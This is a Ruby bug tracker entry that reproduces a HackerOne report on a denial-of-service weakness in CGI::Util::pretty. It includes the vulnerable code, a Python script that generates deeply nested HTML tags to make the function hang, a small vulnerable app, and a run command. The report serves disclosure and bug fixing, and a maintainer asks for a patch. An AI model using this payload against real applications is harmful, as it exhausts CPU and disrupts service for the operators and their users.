Bug #20648
closedImprove performance of CGI::Util::pretty (originally reported as security issue, later decided to not be a security risk)
Description
I originally reported this bug as a security issue, because it can be used as a potential DOS vector for applications. It was decided that this issue wasn't a security issue, so I am just going to copy paste the original hackerone report here:
The vulnerability exists here (in lib/cgi/util.rb):
def pretty(string, shift = " ")
lines = string.gsub(/(?!\A)<.*?>/m, "\n\\0").gsub(/<.*?>(?!\n)/m, "\\0\n")
end_pos = 0
while end_pos = lines.index(/^<\/(\w+)/, end_pos)
element = $1.dup
start_pos = lines.rindex(/^\s*<#{element}/i, end_pos)
lines[start_pos ... end_pos] = "__" + lines[start_pos ... end_pos].gsub(/\n(?!\z)/, "\n" + shift) + "__"
end
lines.gsub(/^((?:#{Regexp::quote(shift)})*)__(?=<\/?\w)/, '\1')
end
The while loop has poor time complexity when parsing html. This means that an attacker can use the following python script:
#!/bin/sh
# This file is an exploit script to demonstrate algorithmic complexity denial of service in the ruby cgi module.
import itertools
import string
out = "" # Final exploit string
how_many_chars = 5 # Just use "ABCDE" for now...
chars = string.ascii_uppercase[:how_many_chars]
tags = list(itertools.product(list(chars), repeat=len(chars))) # Generate all permutations of those five characters
tags = ["".join(tag) for tag in tags]
print(tags)
for tag in tags:
out += "<" + tag + ">"
for tag in reversed(tags): # Reverse tags and close the html tags in the reverse order.
out += "</" + tag + ">"
print(out)
# Save the exploit string to "exploit.txt"
fh = open("exploit.txt", "w")
fh.write(out)
fh.close()
exit(0)
to create a file called "exploit.txt" which when passed to the pretty function causes it to hang. Example vulnerable application:
require 'cgi/util'
include CGI::Util
puts "This should hang with exploit.txt!!!"
puts pretty(ARGF.read)
puts "Done!"
I have attached these files as a zip. To observe the hang, just run ruby vuln.rb < exploit.txt to pass the exploit string to the "pretty" function.
Note that this pretty function is used in the html method in lib/cgi/html.rb :
def html(attributes = {}) # :yield:
if nil == attributes
attributes = {}
elsif "PRETTY" == attributes
attributes = { "PRETTY" => true }
end
pretty = attributes.delete("PRETTY")
pretty = " " if true == pretty
buf = "".dup
if attributes.has_key?("DOCTYPE")
if attributes["DOCTYPE"]
buf << attributes.delete("DOCTYPE")
else
attributes.delete("DOCTYPE")
end
else
buf << doctype
end
buf << super(attributes)
if pretty
CGI.pretty(buf, pretty)
else
buf
end
end
therefore an attacker can cause a denial of service when the pretty function is used indirectly by passing the "PRETTY" attribute to the html method.
Also note that this denial of service vulnerability is not due to the poor performance of the regular expressions used in the function (this is not a ReDOS bug), but due to the poor time complexity of the while loop. This means that the ReDOS protection introduced in ruby 3.2.0 (https://blog.kiprosh.com/ruby-3-2-0-introduce/) won't protect the victim in this case.
Version information:
$ ruby -v
ruby 3.4.0dev (2024-02-09T12:28:26Z master 08b77dd682) [x86_64-linux]
Impact
This poor time complexity of this function can cause the victims CPU usage to jump very high while processing the attackers exploit. This overloading can impact service performance and can cause excessive resource consumption.
It was later decided to treat this as a regular bug instead.
Files
Updated by mame (Yusuke Endoh) about 1 month ago
- Status changed from Open to Feedback
A patch is welcome.